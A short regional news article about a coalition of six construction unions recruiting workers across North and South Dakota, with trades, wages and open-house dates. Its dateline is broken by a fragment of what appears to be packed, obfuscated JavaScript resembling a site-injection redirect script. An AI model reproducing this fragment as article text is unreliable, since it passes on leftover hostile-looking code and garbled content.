JAMESTOWN, rsttb|var|u0026u|referrer|dkthh||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – With the lowest unemployment rate in the U.S. and a rapidly growing economy, demand for skilled construction workers is so great in North and South Dakota that six labor groups have joined together and have formed a coalition to find workers to fill positions.

Residents throughout North and South Dakota will hear the Coalition’s call to action through a variety of mediums including newspaper, radio, billboard and mobile advertising. Open houses are being held throughout the state of North Dakota ranging from Williston to Fargo where attendees can learn about careers and training opportunities. Some positions include bricklayers, cement masons, iron workers, heavy equipment operators, painters and laborers.

A benefit to construction work includes training and development relevant to your career, without having to pay for tuition or take out loans to do so. Workers can make up to $50 dollars an hour in wages and benefits in several construction careers. 12 locations have been planned around North and South Dakota for open houses including Bismarck, Fargo, Jamestown, Devils Lake and Grand Forks. You can click here for a detailed list of times and locations of these open houses.

The Coalition of Construction Professionals is comprised of:
– Bricklayers & Allied Craft Workers
– Cement Masons & Plasters Local 633
– Iron Workers Local 512
– Laborers Local 563
– Operating Engineers Local 49
– Painters and Allied Trades

The open house in Jamestown will be April 25th and 26th at the University of Jamestown Library.
